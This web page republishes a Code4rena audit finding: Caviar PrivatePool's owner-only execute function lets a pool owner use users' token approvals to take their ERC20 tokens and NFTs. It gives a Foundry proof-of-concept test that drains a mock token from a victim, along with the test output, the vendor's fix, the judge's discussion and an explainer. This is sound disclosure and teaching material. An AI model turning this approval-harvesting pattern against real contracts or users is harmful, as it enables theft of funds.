Skip to content
Access control Audit finding Intermediate

PrivatePool owner can steal all ERC20 and NFT from user via arbitrary execution

The PrivatePool contract's execute function lets the pool owner make arbitrary calls to any contract, so a malicious owner can use a user's token approvals to the pool to transfer the user's ERC20 tokens or NFTs to themselves. The report demonstrates stealing an ERC20 balance after the victim approved the pool.

ladboy233 Follow with ElKu, ulqiorra and 21 others

Originally disclosed on Code4rena

Submitted by ladboy233, also found by ElKu, ulqiorra, decade, minhtrng, Koolex, nemveer, said, Norah, giovannidisiena, oxen, JGcarv, JGcarv, Noro, sces60107, Voyvoda, teddav, chaduke, nobody2018, 0x4non, sashik_eth, Emmanuel, 0xTheC0der, and Ruhum

In the current implementation of the PrivatePool.sol, the function execute is meant to claim airdrop, however, we cannot assume the owner is trusted because anyone can permissionlessly create private pool.

/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the
/// pool. This allows for use cases such as claiming airdrops.
/// @param target The address of the target contract.
/// @param data The data to send to the target contract.
/// @return returnData The return data of the transaction.
function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
	// call the target with the value and data
	(bool success, bytes memory returnData) = target.call{value: msg.value}(data);

	// if the call succeeded return the return data
	if (success) return returnData;

	// if we got an error bubble up the error message
	if (returnData.length > 0) {
		// solhint-disable-next-line no-inline-assembly
		assembly {
			let returnData_size := mload(returnData)
			revert(add(32, returnData), returnData_size)
		}
	} else {
		revert();
	}
}

The owner of private pool can easily steal all ERC20 token and NFT from the user’s wallet after the user gives approval to the PrivatePool contract and the user has to give the approval to the pool to let the PrivatePool pull ERC20 token and NFT from the user when user buy or sell or change from EthRouter or directly calling PrivatePool.

The POC below shows, the owner of the PrivatePool can carefully craft payload to steal funds via arbitrary execution.

After user’s apporval, the target can be an ERC20 token address or a NFT address, the call data can be the payload of transferFrom or function.

Please add the code to Execute.t.sol so we can create a mock token:

contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK", 18) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}

Please add the POC below to Execute.t.sol:

  function testStealFundArbitrary_POC() public {
        MyToken token = new MyToken();

        address victim = vm.addr(1040341830);
        address hacker = vm.addr(14141231201);

        token.mint(victim, 100000 ether);

        vm.prank(victim);
        token.approve(address(privatePool), type(uint256).max);

        console.log(
            "token balance of victim before hack",
            token.balanceOf(victim)
        );

        address target = address(token);
        bytes memory data = abi.encodeWithSelector(
            ERC20.transferFrom.selector,
            victim,
            hacker,
            token.balanceOf(victim)
        );

        privatePool.execute(target, data);

        console.log(
            "token balance of victim  after hack",
            token.balanceOf(victim)
        );
    }

We run the POC, the output is:

PS D:\2023Security\2023-04-caviar> forge test -vv --match "testStealFundArbitrary_POC"
[⠒] Compiling...
[⠑] Compiling 1 files with 0.8.19
[⠃] Solc 0.8.19 finished in 8.09s
Compiler run successful

Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest
[PASS] testStealFundArbitrary_POC() (gas: 753699)
Logs:
  token balance of victim before hack 100000000000000000000000
  token balance of victim  after hack 0

As we can see, the victim’s ERC20 token are stolen.

Recommended Mitigation Steps

We recommend the protocol not let the private pool owner perform arbtirary execution. The private pool can use the flashloan to claim the airdrop himself.

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/2

The proposed fix is to revert if execute tries to call the baseToken or nft contract. It’s very unlikely a user will approve any other token than these to the pool so this serves as a sufficient check to prevent the stealing outlined in the exploit.

if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();

Alex the Entreprenerd (judge) commented:

@outdoteth - Wouldn’t the owner be the one owning all of the deposited assets anyway?

outdoteth (Caviar) commented:

@GalloDaSballo - The exploit is not about the owner having ownership over owned deposits but rather about stealing non-deposited user funds.

For example,

  • Alice wants to sell her Milady 123. She also holds Milady 555 and 111.
  • She approves the PrivatePool to spend all of her Miladies so that she can subsequently call “sell()”
  • The malicious owner of the pool then calls “execute()” multiple times with a payload that calls the Milady contract and transferFrom to transfer all of her Miladies (123, 555, 111) from her wallet

Alice has now lost all of her Miladies. The same also applies to baseToken approvals when Alice wants to buy some NFTs.

The proposed fix is to prevent execute() from being able to call the baseToken or nft contracts so that the above example can never occur.

Alex the Entreprenerd (judge) commented:

Thank you @outdoteth for clarifying.

Alex the Entreprenerd (judge) commented:

The Warden has shown how, because of thesetApprovalForAll pattern, mixed with the execute function, a PrivatePool may be used to harvest approvals from users, causing them to lose all tokens.

I have considered downgrading the finding because of the Router technically providing a safety check against the pool.

However, I believe that the risky pattern of direct approvals to the pool is demonstrated by the pull transfer performed by the FlashLoan function: https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L648-L649

        ERC721(token).safeTransferFrom(address(receiver), address(this), tokenId);

For that call to work, the user / user-contract will have to have approved the pool directly.

For this reason I agree with High Severity.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


The original report as published on Code4rena, by ladboy233. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The execute function allows the owner to call any target contract with arbitrary data, including token contracts where the pool has been approved to spend user funds.

Impact

A malicious pool owner could steal all ERC20 tokens and NFTs that a user has approved to the pool, though the judge noted the Router provides a safety check against direct pool approvals.

What the attacker needed

Victim approves the pool to spend tokens or NFTs; attacker is the pool owner; pool is permissionlessly created

The fix

The execute function was fixed to revert if the target is the pool's baseToken or nft contract.

How it was found

  1. Create a mock ERC20 token and mint a balance to a victim address.
  2. Have the victim approve the PrivatePool contract to spend their tokens.
  3. As the pool owner, call execute with the token contract as target and transferFrom data moving the victim's tokens to the attacker.
  4. Observe the victim's token balance drop to zero.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A private pool is a smart contract that lets people trade NFTs and tokens. Users approve the pool to move their tokens or NFTs so they can trade. The pool owner could abuse that approval to move the user's assets to themselves, because the pool has a function that lets the owner call any contract with any data.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by ladboy233

View all

47 more disclosed reports, best first.

More from Caviar Private Pools

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.